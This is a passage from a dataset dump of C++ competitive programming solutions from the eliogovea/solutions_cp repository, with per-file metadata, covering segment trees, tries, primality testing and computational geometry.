!= m.end(); it++)\r\n\t\t\tsol += it->second;\r\n\t\tcout.precision(2);\r\n\t\tcout << fixed << sol << endl;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3512499928474426, "alphanum_fraction": 0.38499999046325684, "avg_line_length": 22.24242401123047, "blob_id": "b603e4f12fcbbdedaa5693f52595ea3e0d19b399", "content_id": "478cf3f1c255789b5f457460f12f4707cb7e90c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 800, "license_type": "no_license", "max_line_length": 77, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p1788-Accepted-s652791.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 305;\r\n\r\nint r, c, k,a[MAXN][MAXN], sol;\r\nstring str;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\twhile (cin >> r >> c >> k && (r | c | k)) {\r\n\t\tsol = 1 << 29;\r\n\t\tfor (int i = 1; i <= r; i++) {\r\n\t\t\tcin >> str;\r\n\t\t\tfor (int j = 1; j <= c; j++) {\r\n if (str[j - 1] == '.') a[i][j] = 1;\r\n\t\t\t\telse a[i][j] = 0;\r\n a[i][j] += a[i - 1][j] + a[i][j - 1] - a[i - 1][j - 1];\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int i = 1; i <= r; i++)\r\n\t\t\tfor (int j = 1; j <= i; j++)\r\n\t\t\t\tfor (int lo = 1, hi = 1; hi <= c; hi++)\r\n\t\t\t\t\twhile (a[i][hi] - a[i][lo - 1] - a[j - 1][hi] + a[j - 1][lo - 1] >= k) {\r\n\t\t\t\t\t\tsol = min(sol, (i - j + 1) * (hi - lo + 1));\r\n\t\t\t\t\t\tlo++;\r\n\t\t\t\t\t}\r\n\t\tcout << sol << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4374453127384186, "alphanum_fraction": 0.5389326214790344, "avg_line_length": 28.30769157409668, "blob_id": "47bfe89f3e22e47e679b91099a95d6b1bb46b89d", "content_id": "04ac58195eec87859f2916f2fcb4e7e6a3c481c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1143, "license_type": "no_license", "max_line_length": 115, "num_lines": 39, "path": "/Codeforces-Gym/101116 - 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E05: Codeforces Trainings Season 3 Episode 5 (2016 Stanford Local Programming Contest, Extended)\n// 101116F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double R = 6371.0;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(11);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tdouble a1, a2, b1, b2;\n\t\tcin >> a1 >> b1 >> a2 >> b2;\n\t\ta1 = a1 * M_PI / 180.0;\n\t\ta2 = a2 * M_PI / 180.0;\n\t\tb1 = b1 * M_PI / 180.0;\n\t\tb2 = b2 * M_PI / 180.0;\n\t\tdouble deltaA = min(abs(a1 - a2), 2.0 * M_PI - abs(a1 - a2));\n\t\tdouble deltaB = min(abs(b1 - b2), 2.0 * M_PI - abs(b1 - b2));\n\t\tdouble z1 = R * sin(a1);\n\t\tdouble x1 = R * cos(a1) * cos(b1);\n\t\tdouble y1 = R * cos(a1) * sin(b1);\n\t\tdouble z2 = R * sin(a2);\n\t\tdouble x2 = R * cos(a2) * cos(b2);\n\t\tdouble y2 = R * cos(a2) * sin(b2);\n\t\tdouble r = sqrt(R * R - z1 * z1);\n\t\tdouble dist1 = R * deltaA + r * deltaB;\n\t\tdouble dist2 = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2) + (z1 - z2) * (z1 - z2));\n\t\tdouble angle = asin(dist2 / (2.0 * R));\n\t\tdist2 = R * 2.0 * angle;\n\t\tcout << fixed << dist2 << \" \" << fixed << dist1 << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3742331266403198, "alphanum_fraction": 0.4067956507205963, "avg_line_length": 16.91964340209961, "blob_id": "7c63d3f2feee806a26a0aabf7c16662dfad6d5ee", "content_id": "ca041e3b7b4047ae3a282955bc9a43680f08f95f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2119, "license_type": "no_license", "max_line_length": 55, "num_lines": 112, "path": "/COJ/eliogovea-cojAC/eliogovea-p3078-Accepted-s830982.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 250005;\r\n\r\nint n, m;\r\nstring s;\r\nint a, b;\r\n\r\nstruct data {\r\n\tint v[11];\r\n\tint lazy;\r\n\tdata() {}\r\n\tvoid update() {\r\n\t\tint aux[11];\r\n\t\tfor (int i = 0; i < 10; i++) {\r\n\t\t\taux[i] = v[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < 10; i++) {\r\n\t\t\tv[(i + lazy) % 10] = aux[i];\r\n\t\t}\r\n\t\tlazy = 0;\r\n\t}\r\n\tint get() {\r\n\t assert(lazy == 0);\r\n\t\tint res = 0;\r\n\t\tfor (int i = 1; i < 10; i++) {\r\n\t\t\tres += i * v[i];\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n} t[4 * N];\r\n\r\ndata merge(const data &a, const data &b) {\r\n\tdata res;\r\n\tres.lazy = 0;\r\n\tfor (int i = 0; i < 10; i++) {\r\n\t\tres.v[i] = a.v[i] + b.v[i];\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nvoid build(int x, int l, int r) {\r\n\tif (l == r) {\r\n t[x].lazy = 0;\r\n for (int i = 0; i < 10; i++) {\r\n t[x].v[i] = (s[l - 1] - '0' == i);\r\n }\r\n\t\tt[x].v[s[l - 1] - '0'] = 1;\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tbuild(x + x, l, mid);\r\n\t\tbuild(x + x + 1, mid + 1, r);\r\n\t\tt[x] = merge(t[x + x], t[x + x + 1]);\r\n\t}\r\n}\r\n\r\nvoid push(int x, int l, int r) {\r\n\tint lazy = t[x].lazy;\r\n\tif (lazy) {\r\n\t\tt[x].update();\r\n\t\tif (l != r) {\r\n\t\t\tt[x + x].lazy = (t[x + x].lazy + lazy) % 10;\r\n\t\t\tt[x + x + 1].lazy = (t[x + x + 1].lazy + lazy) % 10;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid update(int x, int l, int r, int ul, int ur) {\r\n\tpush(x, l, r);\r\n\tif (l > ur || r < ul) {\r\n\t\treturn;\r\n\t}\r\n\tif (l >= ul && r <= ur) {\r\n assert(t[x].lazy == 0);\r\n\t\tt[x].lazy = 1;\r\n\t\tpush(x, l, r);\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tupdate(x + x, l, mid, ul, ur);\r\n\t\tupdate(x + x + 1, mid + 1, r, ul, ur);\r\n\t\tt[x] = merge(t[x + x], t[x + x + 1]);\r\n\t}\r\n}\r\n\r\nint query(int x, int l, int r, int ql, int qr) {\r\n\tpush(x, l, r);\r\n\tif (l > qr || r < ql) {\r\n\t\treturn 0;\r\n\t}\r\n\tif (l >= ql && r <= qr) {\r\n\t\treturn t[x].get();\r\n\t}\r\n\tint mid = (l + r) >> 1;\r\n\tint q1 = query(x + x, l, mid, ql, qr);\r\n\tint q2 = query(x + x + 1, mid + 1, r, ql, qr);\r\n\treturn q1 + q2;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\tcin >> s;\r\n\tbuild(1, 1, n);\r\n\twhile (m--) {\r\n\t\tcin >> a >> b;\r\n\t\tcout << query(1, 1, n, a, b) << \"\\n\";\r\n\t\tupdate(1, 1, n, a, b);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4583333432674408, "alphanum_fraction": 0.5151515007019043, "avg_line_length": 11.199999809265137, "blob_id": "0b5625469021a7e035ca983c216d4dcd399ecefe", "content_id": "399e3ef2a3998d9dec689a9e8d04c1aa67aed76d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 264, "license_type": "no_license", "max_line_length": 29, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2664-Accepted-s550272.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define mod 1000000007\r\n\r\nlong long n,base,sol;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%lld\",&n)==1)\r\n\t{\r\n\t\tsol=1ll;\r\n\t\tbase=3ll;\r\n\t\twhile(n)\r\n\t\t{\r\n\t\t\tif(n&1)sol=(sol*base)%mod;\r\n\t\t\tbase=(base*base)%mod;\r\n\t\t\tn>>=1;\r\n\t\t}\r\n\t\tprintf(\"%lld\\n\",sol);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3963750898838043, "alphanum_fraction": 0.4444444477558136, "avg_line_length": 14.095237731933594, "blob_id": "a7d8cb90f679eb007be8715adfc6779f9e2d70fb", "content_id": "03174cd59bb782118d11350c490f621f2c24e7ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1269, "license_type": "no_license", "max_line_length": 45, "num_lines": 84, "path": "/Codechef/REBXOR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct node {\n\tint next[2];\n\tnode() {\n\t\tnext[0] = next[1] = -1;\n\t}\n} t[30 * 4 * 100005];\n\nint sz;\n\nvoid init() {\n\tfor (int i = 0; i < sz; i++) {\n\t\tt[i] = node();\n\t}\n\tsz = 1;\n}\n\nvoid add(int x) {\n\tint cur = 0;\n\tfor (int i = 30; i >= 0; i--) {\n\t\tint y = ((x & (1 << i)) != 0) ? 1 : 0;\n\t\tif (t[cur].next[y] == -1) {\n\t\t\tt[cur].next[y] = sz++;\n\t\t}\n\t\tcur = t[cur].next[y];\n\t}\n}\n\nint get_max(int x) {\n\tint res = 0;\n\tint cur = 0;\n\tfor (int i = 30; i >= 0; i--) {\n\t\tint y = ((x & (1 << i)) != 0) ? 1 : 0;\n\t\ty ^= 1;\n\t\tif (t[cur].next[y] != -1) {\n\t\t\tres |= (1 << i);\n\t\t\tcur = t[cur].next[y];\n\t\t} else {\n\t\t\tcur = t[cur].next[y ^ 1];\n\t\t}\n\t}\n\treturn res;\n}\n\nint n;\nint arr[4 * 100005];\nint bst[4 * 100005];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n;\n\tinit();\n\tint xor_sum = 0;\n\tadd(xor_sum);\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> arr[i];\n\t\txor_sum ^= arr[i];\n\t\tbst[i] = max(bst[i - 1], get_max(xor_sum));\n\t\tadd(xor_sum);\n\t}\n\n\tinit();\n\tadd(0);\n\txor_sum = 0;\n\tint mx = 0;\n\tint ans = 0;\n\tfor (int i = n; i > 1; i--) {\n\t\txor_sum ^= arr[i];\n\t\tint tmp = get_max(xor_sum);\n\t\tadd(xor_sum);\n\t\tif (tmp > mx) {\n\t\t\tmx = tmp;\n\t\t}\n\t\ttmp = mx + bst[i - 1];\n\t\tif (tmp > ans) {\n\t\t\tans = tmp;\n\t\t}\n\t}\n\tcout << ans << \"\\n\";\n}\n\n" }, { "alpha_fraction": 0.41803279519081116, "alphanum_fraction": 0.4344262182712555, "avg_line_length": 16.428571701049805, "blob_id": "da54912b5dc29ef551a1ceb7d7733ad7f300f61a", "content_id": "da593564ad3028c49ff5821b9864232162e85c45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 366, "license_type": "no_license", "max_line_length": 40, "num_lines": 21, "path": "/Caribbean-Training-Camp-2017/Contest_6/Solutions/B6.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cout.precision(14);\n\n int n;\n double s, t;\n cin >> n >> t >> s;\n int e = s + t;\n for (int i = 0; i < n; i++) {\n double ss;\n cin >> ss;\n\n double ans = (t + s + ss) / 2.0;\n cout << fixed << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.35345861315727234, "alphanum_fraction": 0.3734506070613861, "avg_line_length": 13.534161567687988, "blob_id": "c03b4fb66dba1dc75ef093c704474011c509e747", "content_id": "3b6062d5ddf9834030498434216bab9f3e21b143", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2501, "license_type": "no_license", "max_line_length": 62, "num_lines": 161, "path": "/COJ/eliogovea-cojAC/eliogovea-p3557-Accepted-s923972.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\ninline LL mul(LL a, LL b, LL mod) {\r\n\ta %= mod;\r\n\tb %= mod;\r\n\tLL res = 0;\r\n\twhile (b) {\r\n\t\tif (b & 1) {\r\n\t\t\tres += a;\r\n\t\t\tif (res >= mod) {\r\n\t\t\t\tres -= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t\ta += a;\r\n\t\tif (a >= mod) {\r\n\t\t\ta -= mod;\r\n\t\t}\r\n\t\tb >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline LL power(LL x, LL n, LL mod) {\r\n\tLL res = 1LL;\r\n\twhile (n) {\r\n\t\tif (n & 1LL) {\r\n\t\t\tres = mul(res, x, mod);\r\n\t\t}\r\n\t\tx = mul(x, x, mod);\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nconst int MAX = 110;\r\n\r\nbool criba[MAX + 5];\r\n\r\ninline bool miller_rabin(LL n) {\r\n if (!(n & 1LL)) {\r\n return false;\r\n }\r\n\tLL t = n - 1LL;\r\n\tint s = 0;\r\n\twhile (!(t & 1LL)) {\r\n\t\tt >>= 1LL;\r\n\t\ts++;\r\n\t}\r\n\tconst int p[] = {2, 3, 5, 7, 11, 13, 17, 19, 23, 27, 29, -1};\r\n\tfor (int i = 0; p[i] > 0; i++) {\r\n\t\tLL cur = power(p[i], t, n);\r\n\t\tif (cur == 1LL) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tbool good = false;\r\n\t\tfor (int j = 0; j < s; j++) {\r\n\t\t\tif (cur == n - 1) {\r\n\t\t\t\tgood = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tcur = mul(cur, cur, n);\r\n\t\t}\r\n\t\tif (!good) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\ninline bool prime(LL n) {\r\n\tif (n <= MAX) {\r\n\t\treturn !criba[n];\r\n\t}\r\n\treturn miller_rabin(n);\r\n}\r\n\r\nint t, n;\r\nLL k, x;\r\n\r\nLL get(LL x) {\r\n\tif (x <= MAX) {\r\n x--;\r\n\t\twhile (x > 0 && criba[x]) {\r\n\t\t\tx--;\r\n\t\t}\r\n\t\treturn x;\r\n\t}\r\n\tx--;\r\n\twhile (!miller_rabin(x)) {\r\n x--;\r\n\t}\r\n\treturn x;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcriba[0] = criba[1] = true;\r\n\tfor (int i = 2; i <= MAX; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= MAX; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n >> k;\r\n\r\n\t\tif (n == 1) {\r\n cin >> x;\r\n LL y = get(x);\r\n LL ans = (x - y) % (k + 1LL);\r\n if (ans) {\r\n cout << \"YES\\n\";\r\n } else {\r\n cout << \"NO\\n\";\r\n }\r\n continue;\r\n\t\t}\r\n\r\n\t\tbool win = false;\r\n\t\tlong long sum = 0;\r\n bool op = false;\r\n\t\twhile (n--) {\r\n\t\t\tcin >> x;\r\n\t\t\tif (x <= 1LL) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tif (prime(x)) {\r\n op = true;\r\n\t\t\t}\r\n\t\t\tif (x == 2) {\r\n continue;\r\n\t\t\t}\r\n\t\t\tif (win) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tLL p = get(x);\r\n\t\t\tif (x - p <= k) {\r\n\t\t\t\twin = true;\r\n\t\t\t}\r\n\t\t\tsum ^= ((x - p) % (k + 1LL));\r\n\t\t}\r\n\t\tif (op) {\r\n cout << \"YES\\n\";\r\n continue;\r\n\t\t}\r\n\t\tif (win || sum) {\r\n\t\t\tcout << \"YES\\n\";\r\n\t\t} else {\r\n\t\t\tcout << \"NO\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2538573443889618, "alphanum_fraction": 0.26171761751174927, "avg_line_length": 22.020978927612305, "blob_id": "b1313b6389c811af0b5496d23e486b2273bd46ab", "content_id": "9cf4d99c80a5203a80098b7cb3173adef099ca98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3435, "license_type": "no_license", "max_line_length": 85, "num_lines": 143, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/B1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 50100;\r\nconst int ro = 250;\r\n\r\ntypedef long long ll;\r\n\r\nint a[MAXN];\r\nint v[MAXN];\r\n\r\ntypedef pair<int,int> par;\r\n\r\npar x[MAXN];\r\nll sum[MAXN];\r\n\r\nint n;\r\n\r\nvoid upd_sqrt( int l ){\r\n int i = (l+ro-1) / ro;\r\n int j = (i*ro);\r\n i = j - ro + 1;\r\n j = min( j , n );\r\n\r\n for( int k = i; k <= j; k++ ){\r\n if( x[k].second == l ){\r\n x[k].first = a[l];\r\n break;\r\n }\r\n }\r\n\r\n sort( x + i, x + j + 1 );\r\n\r\n for( int k = i; k <= j; k++ ){\r\n sum[k] = v[ x[k].second ];\r\n if( k > i ){\r\n sum[k] += sum[k-1];\r\n }\r\n }\r\n}\r\n\r\nint main(){\r\n ios::sync_with_stdio(0);\r\n cin.tie(0);\r\n\r\n //freopen(\"dat.txt\",\"r\",stdin);\r\n\r\n cin >> n;\r\n\r\n map<int,int> dic;\r\n unordered_map<int, set<int> > pos;\r\n\r\n for( int i = 1; i <= n; i++ ){\r\n cin >> v[i];\r\n a[i] = dic[ v[i] ];\r\n pos[ v[i] ].insert(i);\r\n dic[ v[i] ] = i;\r\n }\r\n\r\n for( int i = 1, ini = i; i <= n; i++ ){\r\n x[i] = par( a[i] , i );\r\n if( i % ro == 0 ){\r\n sort( x + ini, x + i + 1 );\r\n for( int j = ini; j <= i; j++ ){\r\n sum[j] = v[ x[j].second ];\r\n if( j > ini ) sum[j] += sum[j-1];\r\n }\r\n ini = i+1;\r\n }\r\n }\r\n\r\n int m; cin >> m;\r\n\r\n while( m-- ){\r\n char t; cin >> t;\r\n if( t == 'U' ){\r\n int l, c; cin >> l >> c;\r\n if( v[l] == c ) continue;\r\n\r\n auto it = pos[ v[l] ].find(l);\r\n if( it != pos[ v[l] ].end() ){\r\n it++;\r\n if( it != pos[ v[l] ].end() ){\r\n a[*it] = a[l];\r\n upd_sqrt( *it );\r\n }\r\n it--;\r\n }\r\n pos[ v[l] ].erase(l);\r\n\r\n v[l] = c;\r\n pos[ v[l] ].insert(l);\r\n it = pos[ v[l] ].find(l);\r\n if( it != pos[ v[l] ].end() ){\r\n it++;\r\n if( it != pos[ v[l] ].end() ){\r\n a[*it] = l;\r\n upd_sqrt( *it );\r\n }\r\n it--;\r\n }\r\n\r\n a[l] = 0;\r\n if( it != pos[ v[l] ].begin() ){\r\n it--;\r\n a[l] = *it;\r\n }\r\n upd_sqrt( l );\r\n }\r\n else{\r\n ll sol = 0ll;\r\n\r\n int l, r; cin >> l >> r;\r\n for( int i = 1; i <= n; i += ro ){\r\n int j = min( n , i + ro - 1 );\r\n\r\n if( l <= i && j <= r ){\r\n //cerr << \"--->\\n\";\r\n int p = lower_bound( x + i , x + j + 1 , par( l , 0 ) ) - x;\r\n p--;\r\n if( p >= i ){\r\n sol += sum[p];\r\n }\r\n }\r\n else if( j < l || r < i ){\r\n //cerr << \"--->2\\n\";\r\n continue;\r\n }\r\n else{\r\n for( int k = i; k <= j; k++ ){\r\n //cerr << x[k].second << \" --> \" << x[k].first << '\\n';\r\n if( l <= x[k].second && x[k].second <= r && x[k].first < l ){\r\n sol += v[ x[k].second ];\r\n }\r\n }\r\n }\r\n }\r\n\r\n cout << sol << '\\n';\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.3791196644306183, "alphanum_fraction": 0.3954877257347107, "avg_line_length": 20.176469802856445, "blob_id": "cb4e33180db9f280ebced191a4400a46b7c65781", "content_id": "537e0c167ef270a95cc0d9213da146a1326bc067", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4521, "license_type": "no_license", "max_line_length": 148, "num_lines": 204, "path": "/Timus/1062-7323178.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1062\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long double LD;\r\n\r\nconst LD EPS = 1e-15;\r\n\r\ninline int sign(LD x) {\r\n\tif (fabs(x) < EPS) {\r\n\t\treturn 0;\r\n\t}\r\n\tif (x < 0) {\r\n\t\treturn -1;\r\n\t}\r\n\treturn 1;\r\n}\r\n\r\nstruct pt {\r\n\tLD x, y;\r\n\tpt() {}\r\n\tpt(LD _x, LD _y) {\r\n x = _x;\r\n y = _y;\r\n\t}\r\n};\r\n\r\npt operator - (const pt &a, const pt &b) {\r\n\treturn pt(a.x - b.x, a.y - b.y);\r\n}\r\n\r\ninline LD cross(const pt &a, const pt &b) {\r\n\treturn a.x * b.y - a.y * b.x;\r\n}\r\n\r\nstruct line {\r\n\tLD a, b, c;\r\n\tline() {}\r\n\tline(LD _a, LD _b, LD _c) {\r\n\t\ta = _a;\r\n\t\tb = _b;\r\n\t\tc = _c;\r\n\t}\r\n\tline(pt p1, pt p2) {\r\n\t\tLD dx = p2.x - p1.x;\r\n\t\tLD dy = p2.y - p1.y;\r\n\t\ta = -dy;\r\n\t\tb = dx;\r\n\t\tc = -(a * p1.x + b * p1.y);\r\n\t}\r\n\tint side(pt p) {\r\n\t\treturn sign(a * p.x + b * p.y + c);\r\n\t}\r\n};\r\n\r\npt inter(line l1, line l2) {\r\n //cerr << \"-->> \" << l1.a << \" \" << l1.b << \" \" << l1.c << \"\\n\";\r\n //cerr << \"-->> \" << l2.a << \" \" << l2.b << \" \" << l2.c << \"\\n\\n\";\r\n\tLD det = l1.a * l2.b - l1.b * l2.a;\r\n\tLD x = ((-l1.c) * l2.b - l1.b * (-l2.c)) / det;\r\n\tLD y = (l1.a * (-l2.c) - (-l1.c) * l2.a) / det;\r\n\treturn pt(x, y);\r\n}\r\n\r\nconst LD INF = 1e15;\r\n\r\nbool checkpt(pt p) {\r\n return -INF <= p.x && p.x <= INF && -INF <= p.y && p.y <= INF;\r\n}\r\n\r\nvector <pt> halfPlanesInter(vector <line> all) {\r\n\tvector <pt> bbox;\r\n\tbbox.push_back(pt(0, 0));\r\n\tbbox.push_back(pt(INF, 0));\r\n\tbbox.push_back(pt(INF, INF));\r\n\tbbox.push_back(pt(0, INF));\r\n\r\n\tfor (int i = 0; i < all.size(); i++) {\r\n\r\n // cerr << \"bbox\\n\";\r\n // for (int j = 0; j < bbox.size(); j++) {\r\n // cerr << bbox[j].x << \" \" << bbox[j].y << \"\\n\";\r\n // }\r\n // cerr << \"\\n\";\r\n\r\n\t\tvector <pt> nbbox;\r\n\r\n\t\tfor (int j = 0; j < bbox.size(); j++) {\r\n\t\t\tif (all[i].side(bbox[j]) >= 0) {\r\n\t\t\t\tnbbox.push_back(bbox[j]);\r\n\t\t\t}\r\n\t\t\tint nj = (j + 1) % bbox.size();\r\n\t\t\tif (all[i].side(bbox[j]) * all[i].side(bbox[nj]) == -1) {\r\n pt p = inter(all[i], line(bbox[j], bbox[nj]));\r\n\t\t\t\tnbbox.push_back(p);\r\n\t\t\t}\r\n\t\t}\r\n\t\tbbox = nbbox;\r\n\t}\r\n\r\n\t// cerr << \"bbox\\n\";\r\n // for (int j = 0; j < bbox.size(); j++) {\r\n // cerr << bbox[j].x << \" \" << bbox[j].y << \"\\n\";\r\n // }\r\n // cerr << \"\\n\";\r\n\treturn bbox;\r\n}\r\n\r\nvoid test() {\r\n\r\n vector <line> hp;\r\n hp.push_back(line(1, -2, 0));\r\n vector <pt> hpi = halfPlanesInter(hp);\r\n cerr << hpi.size() << \"\\n\";\r\n for (int i = 0; i < hpi.size(); i++) {\r\n cerr << hpi[i].x << \" \" << hpi[i].y << \"\\n\";\r\n }\r\n cerr << \"\\n\";\r\n}\r\n\r\ninline LD area(vector <pt> &p) {\r\n\tLD res = 0.0;\r\n\tfor (int i = 0; i < p.size(); i++) {\r\n\t\tres += cross(p[i], p[(i + 1) % p.size()]);\r\n\t}\r\n\treturn fabs(res);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcerr.precision(5); cerr << fixed;\r\n\r\n\t//test(); return 0;\r\n\r\n\t// freopen(\"da.txt\", \"r\", stdin);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <int> u(n), v(n), w(n);\r\n\tvector <LD> uu(n), vv(n), ww(n);\r\n\tconst LD VAL = 1e2;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> u[i] >> v[i] >> w[i];\r\n\t\tuu[i] = VAL / (LD)u[i];\r\n\t\tvv[i] = VAL / (LD)v[i];\r\n\t\tww[i] = VAL / (LD)w[i];\r\n\t}\r\n\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tbool alwaysLose = false;\r\n\t\tfor (int j = 0; j < n; j++) {\r\n if (j == i) {\r\n continue;\r\n }\r\n\t\t\tif (u[j] >= u[i] && v[j] >= v[i] && w[j] >= w[i]) {\r\n\t\t\t\talwaysLose = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (alwaysLose) {\r\n\t\t\tcout << \"No\\n\";\r\n\t\t} else {\r\n\t\t\tvector <line> lines;\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tif (j == i) {\r\n continue;\r\n\t\t\t\t}\r\n\t\t\t\tif (u[j] < u[i] && v[j] < v[i] && w[j] < w[i]) { // i wins\r\n continue;\r\n\t\t\t\t}\r\n\t\t\t\t// lines.push_back(line( (LD)(u[i] - u[j]) / (LD)(u[i] * u[j]), (LD)(v[i] - v[j]) / (LD)(v[i] * v[j]), (LD)(w[i] - w[j]) / (LD)(w[i] * w[j]) ));\r\n\t\t\t\tlines.push_back(line(uu[j] - uu[i], vv[j] - vv[i], ww[j] - ww[i]));\r\n\t\t\t}\r\n\r\n\t\t\t// cerr << \"half planes: \" << lines.size() << \"\\n\\n\";\r\n\t\t\t// for (int j = 0; j < lines.size(); j++) {\r\n // cerr << \"line: \" << lines[j].a << \" \" << lines[j].b << \" \" << lines[j].c << \"\\n\";\r\n\t\t\t// }\r\n\r\n\t\t\t// if (!lines.size()) {\r\n\t\t\t\t// cout << \"Yes\\n\";\r\n\t\t\t// } else {\r\n\t\t\t\tvector <pt> hpi = halfPlanesInter(lines);\r\n\t\t\t\tif (hpi.size() <= 2) {\r\n\t\t\t\t\tcout << \"No\\n\";\r\n\t\t\t\t} else {\r\n\t\t\t\t cout << \"Yes\\n\";\r\n\t\t\t\t\tLD a = area(hpi);\r\n\t\t\t\t\t// cerr << \"area: \" << a << \"\\n\";\r\n\t\t\t\t\t// if (sign(a) == 1) {\r\n\t\t\t\t\t\t// cout << \"Yes\\n\";\r\n\t\t\t\t\t// } else {\r\n\t\t\t\t\t\t// cout << \"No\\n\";\r\n\t\t\t\t\t// }\r\n\t\t\t\t}\r\n\t\t\t// }\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.30686888098716736, "alphanum_fraction": 0.3300624489784241, "avg_line_length": 19.150943756103516, "blob_id": "a26b22d78c60974075bf378a831c9432617f4bda", "content_id": "2ac37ca0ee1cf5ade0b37994b302430527bb2ba2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1121, "license_type": "no_license", "max_line_length": 58, "num_lines": 53, "path": "/COJ/eliogovea-cojAC/eliogovea-p2863-Accepted-s623944.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nstring a, b;\r\nchar op;\r\nint sa, sb;\r\n\r\nint main() {\r\n\tcin >> a >> op >> b;\r\n\tsa = a.size();\r\n\tsb = b.size();\r\n\tif (op == '+') {\r\n\t\tif (sa == sb) 